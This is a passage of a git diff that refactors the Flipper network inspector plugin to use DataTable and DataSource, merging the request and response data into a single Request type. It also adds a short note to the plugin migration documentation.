+} from './utils';
 import RequestDetails from './RequestDetails';
-import {clipboard} from 'electron';
 import {URL} from 'url';
 import {MockResponseDialog} from './MockResponseDialog';
 import {assembleChunksIfResponseIsComplete} from './chunks';
@@ -52,10 +48,15 @@ import {
   createState,
   usePlugin,
   useValue,
+  createDataSource,
+  DataTable,
+  DataTableColumn,
+  DataTableManager,
 } from 'flipper-plugin';
-import {remote, OpenDialogOptions} from 'electron';
 import fs from 'fs';
-import electron from 'electron';
+// eslint-disable-next-line
+import electron, {OpenDialogOptions, remote} from 'electron';
+import {DeleteOutlined} from '@ant-design/icons';
 
 const LOCALSTORAGE_MOCK_ROUTE_LIST_KEY = '__NETWORK_CACHED_MOCK_ROUTE_LIST';
 const LOCALSTORAGE_RESPONSE_BODY_FORMAT_KEY =
@@ -67,9 +68,9 @@ export const BodyOptions = {
 };
 
 type Events = {
-  newRequest: Request;
-  newResponse: Response;
-  partialResponse: Response | ResponseFollowupChunk;
+  newRequest: RequestInfo;
+  newResponse: ResponseInfo;
+  partialResponse: ResponseInfo | ResponseFollowupChunk;
   addProtobufDefinitions: AddProtobufEvent;
 };
 
@@ -77,43 +78,22 @@ type Methods = {
   mockResponses(params: {routes: MockRoute[]}): Promise<void>;
 };
 
-const COLUMN_SIZE = {
-  requestTimestamp: 100,
-  responseTimestamp: 100,
-  domain: 'flex',
-  method: 100,
-  status: 70,
-  size: 100,
-  duration: 100,
-};
-
-const COLUMN_ORDER = [
-  {key: 'requestTimestamp', visible: true},
-  {key: 'responseTimestamp', visible: false},
-  {key: 'domain', visible: true},
-  {key: 'method', visible: true},
-  {key: 'status', visible: true},
-  {key: 'size', visible: true},
-  {key: 'duration', visible: true},
-];
-
-const COLUMNS = {
-  requestTimestamp: {value: 'Request Time'},
-  responseTimestamp: {value: 'Response Time'},
-  domain: {value: 'Domain'},
-  method: {value: 'Method'},
-  status: {value: 'Status'},
-  size: {value: 'Size'},
-  duration: {value: 'Duration'},
-};
-
 const mockingStyle = {
   backgroundColor: colors.yellowTint,
   color: colors.yellow,
   fontWeight: 500,
 };
 
-export function formatBytes(count: number): string {
+const errorStyle = {
+  backgroundColor: colors.redTint,
+  color: colors.red,
+  fontWeight: 500,
+};
+
+export function formatBytes(count: number | undefined): string {
+  if (typeof count !== 'number') {
+    return '';
+  }
   if (count > 1024 * 1024) {
     return (count / (1024.0 * 1024)).toFixed(1) + ' MB';
   }
@@ -123,25 +103,13 @@ export function formatBytes(count: number): string {
   return count + ' B';
 }
 
-const TextEllipsis = styled(Text)({
-  overflowX: 'hidden',
-  textOverflow: 'ellipsis',
-  maxWidth: '100%',
-  lineHeight: '18px',
-  paddingTop: 4,
-});
-
 // State management
 export interface NetworkRouteManager {
   addRoute(): string | null;
   modifyRoute(id: string, routeChange: Partial<Route>): void;
   removeRoute(id: string): void;
   enableRoute(id: string): void;
-  copyHighlightedCalls(
-    highlightedRows: Set<string>,
-    requests: {[id: string]: Request},
-    responses: {[id: string]: Response},
-  ): void;
+  copyHighlightedCalls(highlightedRows: Set<string>, requests: Requests): void;
   importRoutes(): void;
   exportRoutes(): void;
   clearRoutes(): void;
@@ -153,11 +121,7 @@ const nullNetworkRouteManager: NetworkRouteManager = {
   modifyRoute(_id: string, _routeChange: Partial<Route>) {},
   removeRoute(_id: string) {},
   enableRoute(_id: string) {},
-  copyHighlightedCalls(
-    _highlightedRows: Set<string>,
-    _requests: {[id: string]: Request},
-    _responses: {[id: string]: Response},
-  ) {},
+  copyHighlightedCalls(_highlightedRows: Set<string>, _requests: Requests) {},
   importRoutes() {},
   exportRoutes() {},
   clearRoutes() {},
@@ -171,8 +135,6 @@ export function plugin(client: PluginClient<Events, Methods>) {
     nullNetworkRouteManager,
   );
 
-  const selectedIds = createState<Array<RequestId>>([]);
-  const searchTerm = createState<string>('');
   const routes = createState<{[id: string]: Route}>({});
   const nextRouteId = createState<number>(0);
   const isMockResponseSupported = createState<boolean>(false);
@@ -181,18 +143,14 @@ export function plugin(client: PluginClient<Events, Methods>) {
     localStorage.getItem(LOCALSTORAGE_RESPONSE_BODY_FORMAT_KEY) ||
       BodyOptions.parsed,
   );
-  const highlightedRows = createState<Set<string> | null | undefined>(
-    new Set(),
-  );
-  const isDeeplinked = createState<boolean>(false);
-  const requests = createState<{[id: string]: Request}>(
-    {},
-    {persist: 'requests'},
-  );
-  const responses = createState<{[id: string]: Response}>(
-    {},
-    {persist: 'responses'},
-  );
+  const requests = createDataSource<Request, 'id'>([], {
+    key: 'id',
+    persist: 'requests2',
+  });
+  const selectedId = createState<string | undefined>(undefined, {
+    persist: 'selectedId',
+  });
+  const tableManagerRef = createRef<undefined | DataTableManager<Request>>();
 
   const partialResponses = createState<PartialResponses>(
     {},
@@ -200,9 +158,17 @@ export function plugin(client: PluginClient<Events, Methods>) {
   );
 
   client.onDeepLink((payload: unknown) => {
-    if (typeof payload === 'string') {
-      parseDeepLinkPayload(payload);
-      isDeeplinked.set(true);
+    const searchTermDelim = 'searchTerm=';
+    if (typeof payload !== 'string') {
+      return;
+    } else if (payload.startsWith(searchTermDelim)) {
+      tableManagerRef.current?.clearSelection();
+      tableManagerRef.current?.setSearchValue(
+        payload.slice(searchTermDelim.length),
+      );
+    } else {
+      tableManagerRef.current?.setSearchValue('');
+      tableManagerRef.current?.selectItemById(payload);
     }
   });
 
@@ -215,20 +181,23 @@ export function plugin(client: PluginClient<Events, Methods>) {
     init();
   });
 
-  client.onDeactivate(() => {
-    isDeeplinked.set(false);
+  client.onMessage('newRequest', (data) => {
+    // TODO: This should be append, but there is currently a bug where requests are send multiple times from the
+    // device! (Wilde on emulator)
+    requests.upsert(createRequestFromRequestInfo(data));
   });
 
-  client.onMessage('newRequest', (data) => {
-    requests.update((draft) => {
-      draft[data.id] = data;
-    });
-  });
+  function storeResponse(response: ResponseInfo) {
+    const request = requests.getById(response.id);
+    if (!request) {
+      return; // request table might have been cleared
+    }
+
+    requests.upsert(updateRequestWithResponseInfo(request, response));
+  }
 
   client.onMessage('newResponse', (data) => {
-    responses.update((draft) => {
-      draft[data.id] = data;
-    });
+    storeResponse(data);
   });
 
   client.onMessage('addProtobufDefinitions', (data) => {
@@ -252,9 +221,7 @@ export function plugin(client: PluginClient<Events, Methods>) {
 
         The order that initialResponse, and followup chunks are received is not guaranteed to be in index order.
     */
-    const message: Response | ResponseFollowupChunk = data as
-      | Response
-      | ResponseFollowupChunk;
+    const message = data as ResponseInfo | ResponseFollowupChunk;
 
     partialResponses.update((draft) => {
       if (!draft[message.id]) {
@@ -269,10 +236,18 @@ export function plugin(client: PluginClient<Events, Methods>) {
         entry.followupChunks[chunk.index] = chunk.data;
       } else {
         // It's an initial chunk
-        entry.initialResponse = message as Response;
+        entry.initialResponse = message as ResponseInfo;
       }
     });
-    assembleChunksIfResponseIsComplete(partialResponses, responses, message.id);
+    const response = assembleChunksIfResponseIsComplete(
+      partialResponses.get()[message.id],
+    );
+    if (response) {
+      storeResponse(response);
+      partialResponses.update((draft) => {
+        delete draft[response.id];
+      });
+    }
   });
 
   function supportsMocks(device: Device): Promise<boolean> {
@@ -341,30 +316,37 @@ export function plugin(client: PluginClient<Events, Methods>) {
       },
       copyHighlightedCalls(
         highlightedRows: Set<string> | null | undefined,
-        requests: {[id: string]: Request},
-        responses: {[id: string]: Response},
+        requests: Requests,
       ) {
         // iterate through highlighted rows
         highlightedRows?.forEach((row) => {
-          const response = responses[row];
+          const request = requests.getById(row);
+          if (!request) {
+            return;
+          }
           // convert headers
           const headers: {[id: string]: Header} = {};
-          response.headers.forEach((e) => {
+          request.responseHeaders?.forEach((e) => {
             headers[e.key] = e;
           });
 
           // convert data TODO: we only want this for non-binary data! See D23403095
           const responseData =
-            response && response.data ? decodeBody(response) : '';
+            request && request.responseData
+              ? decodeBody({
+                  headers: request.responseHeaders ?? [],
+                  data: request.responseData,
+                })
+              : '';
 
           const newNextRouteId = nextRouteId.get();
           routes.update((draft) => {
             draft[newNextRouteId.toString()] = {
-              requestUrl: requests[row].url,
-              requestMethod: requests[row].method,
+              requestUrl: request.url,
+              requestMethod: request.method,
               responseData: responseData as string,
               responseHeaders: headers,
-              responseStatus: responses[row].status.toString(),
+              responseStatus: request.status?.toString() ?? '',
               enabled: true,
             };
           });
@@ -444,38 +426,8 @@ export function plugin(client: PluginClient<Events, Methods>) {
     });
   }
 
-  function parseDeepLinkPayload(deepLinkPayload: unknown) {
-    const searchTermDelim = 'searchTerm=';
-    if (typeof deepLinkPayload !== 'string') {
-      selectedIds.set([]);
-      searchTerm.set('');
-    } else if (deepLinkPayload.startsWith(searchTermDelim)) {
-      selectedIds.set([]);
-      searchTerm.set(deepLinkPayload.slice(searchTermDelim.length));
-    } else {
-      selectedIds.set([deepLinkPayload]);
-      searchTerm.set('');
-    }
-  }
-
   function clearLogs() {
-    selectedIds.set([]);
-    responses.set({});
-    requests.set({});
-  }
-
-  function copyRequestCurlCommand() {
-    // Ensure there is only one row highlighted.
-    if (selectedIds.get().length !== 1) {
-      return;
-    }
-
-    const request = requests.get()[selectedIds.get()[0]];
-    if (!request) {
-      return;
-    }
-    const command = convertRequestToCurlCommand(request);
-    clipboard.writeText(command);
+    requests.clear();
   }
 
   async function informClientMockChange(routes: {[id: string]: Route}) {
@@ -532,23 +484,15 @@ export function plugin(client: PluginClient<Events, Methods>) {
   }
 
   return {
-    selectedIds,
-    searchTerm,
     routes,
     nextRouteId,
     isMockResponseSupported,
     showMockResponseDialog,
     detailBodyFormat,
-    highlightedRows,
-    isDeeplinked,
     requests,
-    responses,
     partialResponses,
     networkRouteManager,
     clearLogs,
-    onRowHighlighted(selectedIdsArr: Array<RequestId>) {
-      selectedIds.set(selectedIdsArr);
-    },
     onMockButtonPressed() {
       showMockResponseDialog.set(true);
     },
@@ -559,262 +503,245 @@ export function plugin(client: PluginClient<Events, Methods>) {
       detailBodyFormat.set(bodyFormat);
       localStorage.setItem(LOCALSTORAGE_RESPONSE_BODY_FORMAT_KEY, bodyFormat);
     },
-    copyRequestCurlCommand,
+    selectedId,
+    onSelect(request: Request) {
+      selectedId.set(request?.id);
+    },
     init,
+    tableManagerRef,
+    onContextMenu(request: Request | undefined) {
+      return (
+        <Menu.Item
+          key="curl"
+          onClick={() => {
+            if (!request) {
+              return;
+            }
+            const command = convertRequestToCurlCommand(request);
+            client.writeTextToClipboard(command);
+          }}>
+          Copy cURL command
+        </Menu.Item>
+      );
+    },
+  };
+}
+
+function createRequestFromRequestInfo(data: RequestInfo): Request {
+  let url: URL | undefined = undefined;
+  try {
+    url = data.url ? new URL(data.url) : undefined;
+  } catch (e) {
+    console.warn(`Failed to parse url: '${data.url}'`, e);
+  }
+  const domain =
+    getHeaderValue(data.headers, 'X-FB-Friendly-Name') ||
+    (url ? (url.pathname ? url.host + url.pathname : url.host) : '<unknown>');
+
+  return {
+    id: data.id,
+    // request
+    requestTime: new Date(data.timestamp),
+    method: data.method,
+    url: data.url ?? '',
+    domain,
+    requestHeaders: data.headers,
+    requestData: data.data ?? undefined,
+  };
+}
+
+function updateRequestWithResponseInfo(
+  request: Request,
+  response: ResponseInfo,
+): Request {
+  return {
+    ...request,
+    responseTime: new Date(response.timestamp),
+    status: response.status,
+    reason: response.reason,
+    responseHeaders: response.headers,
+    responseData: response.data ?? undefined,
+    responseIsMock: response.isMock,
+    responseLength: getResponseLength(response),
+    duration: response.timestamp - request.requestTime.getTime(),
+    insights: response.insights ?? undefined,
   };
 }
 
 export function Component() {
   const instance = usePlugin(plugin);
-
-  const requests = useValue(instance.requests);
-  const responses = useValue(instance.responses);
-  const selectedIds = useValue(instance.selectedIds);
-  const searchTerm = useValue(instance.searchTerm);
   const routes = useValue(instance.routes);
   const isMockResponseSupported = useValue(instance.isMockResponseSupported);
   const showMockResponseDialog = useValue(instance.showMockResponseDialog);
   const networkRouteManager = useValue(instance.networkRouteManager);
 
   return (
-    <Layout.Container grow={true}>
-      <NetworkRouteContext.Provider value={networkRouteManager}>
-        <NetworkTable
-          requests={requests || {}}
-          responses={responses || {}}
-          routes={routes}
-          onMockButtonPressed={instance.onMockButtonPressed}
-          onCloseButtonPressed={instance.onCloseButtonPressed}
-          showMockResponseDialog={showMockResponseDialog}
-          clear={instance.clearLogs}
-          copyRequestCurlCommand={instance.copyRequestCurlCommand}
-          onRowHighlighted={instance.onRowHighlighted}
-          highlightedRows={selectedIds ? new Set(selectedIds) : null}
-          searchTerm={searchTerm}
-          isMockResponseSupported={isMockResponseSupported}
+    <NetworkRouteContext.Provider value={networkRouteManager}>
+      <Layout.Container grow={true}>
+        <DataTable
+          columns={columns}
+          dataSource={instance.requests}
+          onRowStyle={getRowStyle}
+          tableManagerRef={instance.tableManagerRef}
+          onSelect={instance.onSelect}
+          onCopyRows={copyRow}
+          onContextMenu={instance.onContextMenu}
+          enableAutoScroll
+          extraActions={
+            <Layout.Horizontal gap>
+              <Button title="Clear logs" onClick={instance.clearLogs}>
+                <DeleteOutlined />
+              </Button>
+              {isMockResponseSupported && (
+                <Button onClick={instance.onMockButtonPressed}>Mock</Button>
+              )}
+            </Layout.Horizontal>
+          }
         />
+        {showMockResponseDialog ? (
+          <Sheet>
+            {(onHide) => (
+              <MockResponseDialog
+                routes={routes}
+                onHide={() => {
+                  onHide();
+                  instance.onCloseButtonPressed();
+                }}
+                highlightedRows={
+                  new Set(
+                    instance.tableManagerRef
+                      .current!.getSelectedItems()
+                      .map((r) => r.id),
+                  )
+                }
+                requests={instance.requests}
+              />
+            )}
+          </Sheet>
+        ) : null}
         <Sidebar />
-      </NetworkRouteContext.Provider>
-    </Layout.Container>
+      </Layout.Container>
+    </NetworkRouteContext.Provider>
   );
 }
 
-type NetworkTableProps = {
-  requests: {[id: string]: Request};
-  responses: {[id: string]: Response};
-  routes: {[id: string]: Route};
-  clear: () => void;
-  copyRequestCurlCommand: () => void;
-  onRowHighlighted: (keys: TableHighlightedRows) => void;
-  highlightedRows: Set<string> | null | undefined;
-  searchTerm: string;
-  onMockButtonPressed: () => void;
-  onCloseButtonPressed: () => void;
-  showMockResponseDialog: boolean;
-  isMockResponseSupported: boolean;
-};
+const columns: DataTableColumn<Request>[] = [
+  {
+    key: 'requestTime',
+    title: 'Request Time',
+    width: 120,
+  },
+  {
+    key: 'responseTime',
+    title: 'Response Time',
+    width: 120,
+    visible: false,
+  },
+  {
+    key: 'domain',
+  },
+  {
+    key: 'url',
+    title: 'Full URL',
+    visible: false,
+  },
+  {
+    key: 'method',
+    title: 'Method',
+    width: 70,
+  },
+  {
+    key: 'status',
+    title: 'Status',
+    width: 70,
+    formatters: formatStatus,
+    align: 'right',
+  },
+  {
+    key: 'responseLength',
+    title: 'Size',
+    width: 100,
+    formatters: formatBytes,
+    align: 'right',
+  },
+  {
+    key: 'duration',
+    title: 'Time',
+    width: 100,
+    formatters: formatDuration,
+    align: 'right',
+  },
+];
 
-type NetworkTableState = {
-  sortedRows: TableRows;
-  routes: {[id: string]: Route};
-  highlightedRows: Set<string> | null | undefined;
-  requests: {[id: string]: Request};
-  responses: {[id: string]: Response};
-};
-
-function formatTimestamp(timestamp: number): string {
-  const date = new Date(timestamp);
-  return `${padStart(date.getHours().toString(), 2, '0')}:${padStart(
-    date.getMinutes().toString(),
-    2,
-    '0',
-  )}:${padStart(date.getSeconds().toString(), 2, '0')}.${padStart(
-    date.getMilliseconds().toString(),
-    3,
-    '0',
-  )}`;
+function getRowStyle(row: Request) {
+  return row.responseIsMock
+    ? mockingStyle
+    : row.status && row.status >= 400 && row.status < 600
+    ? errorStyle
+    : undefined;
 }
 
-function buildRow(
-  request: Request,
-  response: Response | null | undefined,
-): TableBodyRow | null | undefined {
-  if (request == null) {
-    return null;
+function copyRow(requests: Request[]): string {
+  const request = requests[0];
+  if (!request || !request.url) {
+    return '<empty request>';
   }
 
-  if (request.url == null) {
-    return null;
-  }
-  let url: URL | undefined = undefined;
-  try {
-    url = new URL(request.url);
-  } catch (e) {
-    console.warn(`Failed to parse url: '${request.url}'`, e);
-  }
-  const domain = url ? url.host + url.pathname : '<unknown>';
-  const friendlyName = getHeaderValue(request.headers, 'X-FB-Friendly-Name');
-  const style = response && response.isMock ? mockingStyle : undefined;
-
-  const copyText = () => {
-    let copyText = `# HTTP request for ${domain} (ID: ${request.id})
+  let copyText = `# HTTP request for ${request.domain} (ID: ${request.id})
   ## Request
   HTTP ${request.method} ${request.url}
-  ${request.headers
+  ${request.requestHeaders
     .map(
       ({key, value}: {key: string; value: string}): string =>
         `${key}: ${String(value)}`,
     )
     .join('\n')}`;
 
-    // TODO: we want decoding only for non-binary data! See D23403095
-    const requestData = request.data ? decodeBody(request) : null;
-    const responseData =
-      response && response.data ? decodeBody(response) : null;
+  // TODO: we want decoding only for non-binary data! See D23403095
+  const requestData = request.requestData
+    ? decodeBody({
+        headers: request.requestHeaders,
+        data: request.requestData,
+      })
+    : null;
+  const responseData = request.responseData
+    ? decodeBody({
+        headers: request.responseHeaders,
+        data: request.responseData,
+      })
+    : null;
 
-    if (requestData) {
-      copyText += `\n\n${requestData}`;
-    }
-
-    if (response) {
-      copyText += `
+  if (requestData) {
+    copyText += `\n\n${requestData}`;
+  }
+  if (request.status) {
+    copyText += `
 
   ## Response
-  HTTP ${response.status} ${response.reason}
-  ${response.headers
-    .map(
-      ({key, value}: {key: string; value: string}): string =>
-        `${key}: ${String(value)}`,
-    )
-    .join('\n')}`;
-    }
-
-    if (responseData) {
-      copyText += `\n\n${responseData}`;
-    }
-    return copyText;
-  };
-
-  return {
-    columns: {
-      requestTimestamp: {
-        value: (
-          <TextEllipsis>{formatTimestamp(request.timestamp)}</TextEllipsis>
-        ),
-      },
-      responseTimestamp: {
-        value: (
-          <TextEllipsis>
-            {response && formatTimestamp(response.timestamp)}
-          </TextEllipsis>
-        ),
-      },
-      domain: {
-        value: (
-          <TextEllipsis>{friendlyName ? friendlyName : domain}</TextEllipsis>
-        ),
-        isFilterable: true,
-      },
-      method: {
-        value: <TextEllipsis>{request.method}</TextEllipsis>,
-        isFilterable: true,
-      },
-      status: {
-        value: (
-          <StatusColumn>{response ? response.status : undefined}</StatusColumn>
-        ),
-        isFilterable: true,
-      },
-      size: {
-        value: <SizeColumn response={response ? response : undefined} />,
-      },
-      duration: {
-        value: <DurationColumn request={request} response={response} />,
-      },
-    },
-    key: request.id,
-    filterValue: `${request.method} ${request.url}`,
-    sortKey: request.timestamp,
-    copyText,
-    getSearchContent: copyText,
-    highlightOnHover: true,
-    style: style,
-  };
-}
-
-function calculateState(
-  props: {
-    requests: {[id: string]: Request};
-    responses: {[id: string]: Response};
-  },
-  nextProps: NetworkTableProps,
-  rows: TableRows = [],
-): NetworkTableState {
-  rows = [...rows];
-  if (Object.keys(nextProps.requests).length === 0) {
-    // cleared
-    rows = [];
-  } else if (props.requests !== nextProps.requests) {
-    // new request
-    for (const [requestId, request] of Object.entries(nextProps.requests)) {
-      if (props.requests[requestId] == null) {
-        const newRow = buildRow(request, nextProps.responses[requestId]);
-        if (newRow) {
-          rows.push(newRow);
-        }
-      }
-    }
-  }
-  if (props.responses !== nextProps.responses) {
-    // new or updated response
-    const resIds = Object.keys(nextProps.responses).filter(
-      (responseId: RequestId) =>
-        props.responses[responseId] !== nextProps.responses[responseId],
-    );
-    for (const resId of resIds) {
-      if (resId) {
-        const request = nextProps.requests[resId];
-        // sanity check; to pass null check
-        if (request) {
-          const newRow = buildRow(request, nextProps.responses[resId]);
-          const index = rows.findIndex(
-            (r: TableBodyRow) => r.key === request.id,
-          );
-          if (index > -1 && newRow) {
-            rows[index] = newRow;
-          }
-        }
-      }
-    }
+  HTTP ${request.status} ${request.reason}
+  ${
+    request.responseHeaders
+      ?.map(
+        ({key, value}: {key: string; value: string}): string =>
+          `${key}: ${String(value)}`,
+      )
+      .join('\n') ?? ''
+  }`;
   }
 
-  rows.sort(
-    (a: TableBodyRow, b: TableBodyRow) =>
-      (a.sortKey as number) - (b.sortKey as number),
-  );
-
-  return {
-    sortedRows: rows,
-    routes: nextProps.routes,
-    highlightedRows: nextProps.highlightedRows,
-    requests: props.requests,
-    responses: props.responses,
-  };
+  if (responseData) {
+    copyText += `\n\n${responseData}`;
+  }
+  return copyText;
 }
 
 function Sidebar() {
   const instance = usePlugin(plugin);
-  const requests = useValue(instance.requests);
-  const responses = useValue(instance.responses);
-  const selectedIds = useValue(instance.selectedIds);
+  const selectedId = useValue(instance.selectedId);
   const detailBodyFormat = useValue(instance.detailBodyFormat);
-  const selectedId = selectedIds.length === 1 ? selectedIds[0] : null;
 
-  if (!selectedId) {
-    return null;
-  }
-  const requestWithId = requests[selectedId];
-  if (!requestWithId) {
+  const request = instance.requests.getById(selectedId!);
+  if (!request) {
     return null;
   }
 
@@ -822,8 +749,7 @@ function Sidebar() {
     <DetailSidebar width={500}>
       <RequestDetails
         key={selectedId}
-        request={requestWithId}
-        response={responses[selectedId]}
+        request={request}
         bodyFormat={detailBodyFormat}
         onSelectFormat={instance.onSelectFormat}
       />
@@ -831,189 +757,24 @@ function Sidebar() {
   );
 }
 
-class NetworkTable extends PureComponent<NetworkTableProps, NetworkTableState> {
-  static ContextMenu = styled(ContextMenu)({
-    flex: 1,
-  });
-
-  constructor(props: NetworkTableProps) {
-    super(props);
-    this.state = calculateState({requests: {}, responses: {}}, props);
-  }
-
-  UNSAFE_componentWillReceiveProps(nextProps: NetworkTableProps) {
-    this.setState(calculateState(this.props, nextProps, this.state.sortedRows));
-  }
-
-  contextMenuItems(): Array<MenuItemConstructorOptions> {
-    type ContextMenuType =
-      | 'normal'
-      | 'separator'
-      | 'submenu'
-      | 'checkbox'
-      | 'radio';
-    const separator: ContextMenuType = 'separator';
-    const {clear, copyRequestCurlCommand, highlightedRows} = this.props;
-    const highlightedMenuItems =
-      highlightedRows && highlightedRows.size === 1
-        ? [
-            {
-              type: separator,
-            },
-            {
-              label: 'Copy as cURL',
-              click: copyRequestCurlCommand,
-            },
-          ]
-        : [];
-
-    return highlightedMenuItems.concat([
-      {
-        type: separator,
-      },
-      {
-        label: 'Clear all',
-        click: clear,
-      },
-    ]);
-  }
-
-  render() {
-    return (
-      <>
-        <NetworkTable.ContextMenu
-          items={this.contextMenuItems()}
-          component={Layout.Container}>
-          <SearchableTable
-            virtual={true}
-            multiline={false}
-            multiHighlight={true}
-            stickyBottom={true}
-            floating={false}
-            columnSizes={COLUMN_SIZE}
-            columns={COLUMNS}
-            columnOrder={COLUMN_ORDER}
-            rows={this.state.sortedRows}
-            onRowHighlighted={this.props.onRowHighlighted}
-            highlightedRows={this.props.highlightedRows}
-            rowLineHeight={26}
-            allowRegexSearch={true}
-            allowContentSearch={true}
-            zebra={false}
-            clearSearchTerm={this.props.searchTerm !== ''}
-            defaultSearchTerm={this.props.searchTerm}
-            actions={
-              <Layout.Horizontal gap>
-                <Button onClick={this.props.clear}>Clear Table</Button>
-                {this.props.isMockResponseSupported && (
-                  <Button onClick={this.props.onMockButtonPressed}>Mock</Button>
-                )}
-              </Layout.Horizontal>
-            }
-          />
-        </NetworkTable.ContextMenu>
-        {this.props.showMockResponseDialog ? (
-          <Sheet>
-            {(onHide) => (
-              <MockResponseDialog
-                routes={this.state.routes}
-                onHide={() => {
-                  onHide();
-                  this.props.onCloseButtonPressed();
-                }}
-                highlightedRows={this.state.highlightedRows}
-                requests={this.state.requests}
-                responses={this.state.responses}
-              />
-            )}
-          </Sheet>
-        ) : null}
-      </>
-    );
-  }
-}
-
 const Icon = styled(Glyph)({
   marginTop: -3,
   marginRight: 3,
 });
 
-class StatusColumn extends PureComponent<{
-  children?: number;
-}> {
-  render() {
-    const {children} = this.props;
-    let glyph;
-
-    if (children != null && children >= 400 && children < 600) {
-      glyph = <Icon name="stop" color={colors.red} />;
-    }
-
+function formatStatus(status: number | undefined) {
+  if (typeof status === 'number' && status >= 400 && status < 600) {
     return (
-      <TextEllipsis>
-        {glyph}
-        {children}
-      </TextEllipsis>
+      <>
+        <Icon name="stop" color={colors.red} />
+        {status}
+      </>
     );
   }
+  return status;
 }
 
-class DurationColumn extends PureComponent<{
-  request: Request;
-  response: Response | null | undefined;
-}> {
-  static Text = styled(Text)({
-    flex: 1,
-    textAlign: 'right',
-    paddingRight: 10,
-  });
-
-  render() {
-    const {request, response} = this.props;
-    const duration = response
-      ? response.timestamp - request.timestamp
-      : undefined;
-    return (
-      <DurationColumn.Text selectable={false}>
-        {duration != null ? duration.toLocaleString() + 'ms' : ''}
-      </DurationColumn.Text>
-    );
-  }
-}
-
-class SizeColumn extends PureComponent<{
-  response: Response | null | undefined;
-}> {
-  static Text = styled(Text)({
-    flex: 1,
-    textAlign: 'right',
-    paddingRight: 10,
-  });
-
-  render() {
-    const {response} = this.props;
-    if (response) {
-      const text = formatBytes(this.getResponseLength(response));
-      return <SizeColumn.Text>{text}</SizeColumn.Text>;
-    } else {
-      return null;
-    }
-  }
-
-  getResponseLength(response: Response | null | undefined) {
-    if (!response) {
-      return 0;
-    }
-
-    let length = 0;
-    const lengthString = response.headers
-      ? getHeaderValue(response.headers, 'content-length')
-      : undefined;
-    if (lengthString != null && lengthString != '') {
-      length = parseInt(lengthString, 10);
-    } else if (response.data) {
-      length = Buffer.byteLength(response.data, 'base64');
-    }
-    return length;
-  }
+function formatDuration(duration: number | undefined) {
+  if (typeof duration === 'number') return duration + 'ms';
+  return '';
 }
diff --git a/desktop/plugins/public/network/types.tsx b/desktop/plugins/public/network/types.tsx
index 4a5ed3710..1a64d1ae7 100644
--- a/desktop/plugins/public/network/types.tsx
+++ b/desktop/plugins/public/network/types.tsx
@@ -7,20 +7,44 @@
  * @format
  */
 
+import {DataSource} from 'flipper-plugin';
 import {AnyNestedObject} from 'protobufjs';
 
 export type RequestId = string;
 
-export type Request = {
+export interface Request {
+  id: RequestId;
+  // request
+  requestTime: Date;
+  method: string;
+  url: string;
+  domain: string;
+  requestHeaders: Array<Header>;
+  requestData?: string;
+  // response
+  responseTime?: Date;
+  status?: number;
+  reason?: string;
+  responseHeaders?: Array<Header>;
+  responseData?: string;
+  responseLength?: number;
+  responseIsMock?: boolean;
+  duration?: number;
+  insights?: Insights;
+}
+
+export type Requests = DataSource<Request, 'id', string>;
+
+export type RequestInfo = {
   id: RequestId;
   timestamp: number;
   method: string;
-  url: string;
+  url?: string;
   headers: Array<Header>;
   data: string | null | undefined;
 };
 
-export type Response = {
+export type ResponseInfo = {
   id: RequestId;
   timestamp: number;
   status: number;
@@ -95,9 +119,9 @@ export type MockRoute = {
   enabled: boolean;
 };
 
-export type PartialResponses = {
-  [id: string]: {
-    initialResponse?: Response;
-    followupChunks: {[id: number]: string};
-  };
+export type PartialResponse = {
+  initialResponse?: ResponseInfo;
+  followupChunks: {[id: number]: string};
 };
+
+export type PartialResponses = Record<string, PartialResponse>;
diff --git a/desktop/plugins/public/network/utils.tsx b/desktop/plugins/public/network/utils.tsx
index a6e238142..36c1fe1c9 100644
--- a/desktop/plugins/public/network/utils.tsx
+++ b/desktop/plugins/public/network/utils.tsx
@@ -8,10 +8,16 @@
  */
 
 import pako from 'pako';
-import {Request, Response, Header} from './types';
+import {Request, Header, ResponseInfo} from './types';
 import {Base64} from 'js-base64';
 
-export function getHeaderValue(headers: Array<Header>, key: string): string {
+export function getHeaderValue(
+  headers: Array<Header> | undefined,
+  key: string,
+): string {
+  if (!headers) {
+    return '';
+  }
   for (const header of headers) {
     if (header.key.toLowerCase() === key.toLowerCase()) {
       return header.value;
@@ -20,7 +26,10 @@ export function getHeaderValue(headers: Array<Header>, key: string): string {
   return '';
 }
 
-export function decodeBody(container: Request | Response): string {
+export function decodeBody(container: {
+  headers?: Array<Header>;
+  data: string | null | undefined;
+}): string {
   if (!container.data) {
     return '';
   }
@@ -59,16 +68,21 @@ export function decodeBody(container: Request | Response): string {
   }
 }
 
-export function convertRequestToCurlCommand(request: Request): string {
+export function convertRequestToCurlCommand(
+  request: Pick<Request, 'method' | 'url' | 'requestHeaders' | 'requestData'>,
+): string {
   let command: string = `curl -v -X ${request.method}`;
   command += ` ${escapedString(request.url)}`;
   // Add headers
-  request.headers.forEach((header: Header) => {
+  request.requestHeaders.forEach((header: Header) => {
     const headerStr = `${header.key}: ${header.value}`;
     command += ` -H ${escapedString(headerStr)}`;
   });
   // Add body. TODO: we only want this for non-binary data! See D23403095
-  const body = decodeBody(request);
+  const body = decodeBody({
+    headers: request.requestHeaders,
+    data: request.requestData,
+  });
   if (body) {
     command += ` -d ${escapedString(body)}`;
   }
@@ -101,3 +115,15 @@ function escapedString(str: string) {
   // Simply use singly quoted string.
   return "'" + str + "'";
 }
+
+export function getResponseLength(request: ResponseInfo): number {
+  const lengthString = request.headers
+    ? getHeaderValue(request.headers, 'content-length')
+    : undefined;
+  if (lengthString) {
+    return parseInt(lengthString, 10);
+  } else if (request.data) {
+    return Buffer.byteLength(request.data, 'base64');
+  }
+  return 0;
+}
diff --git a/docs/extending/sandy-migration.mdx b/docs/extending/sandy-migration.mdx
index b55a84fab..abe88a498 100644
--- a/docs/extending/sandy-migration.mdx
+++ b/docs/extending/sandy-migration.mdx
@@ -78,6 +78,7 @@ This step is completed if the plugin follows the next `plugin` / `component` str
 * Similarly `yarn watch` can be used to run the unit tests in watch mode. Use the `p` key to filter for your specific plugin if `jest` doesn't do so automatically.
 * Example of migrating the network plugin to use Sandy APIs. D24108772 / [Github commit](https://github.com/facebook/flipper/commit/fdde2761ef054e44f399c846a2eae6baba03861e)
 * Example of migrating the example plugin to use Sandy APIs. D22308265 / [Github commit](https://github.com/facebook/flipper/commit/babc88e472612c66901d21d289bd217ef28ee385#diff-a145be72bb13a4675dcc8cbac5e55abcd9a542cc92f5c781bd7d3749f13676fc)
+* Other plugins that can be check for inspiration are the Logs and Network plugins.
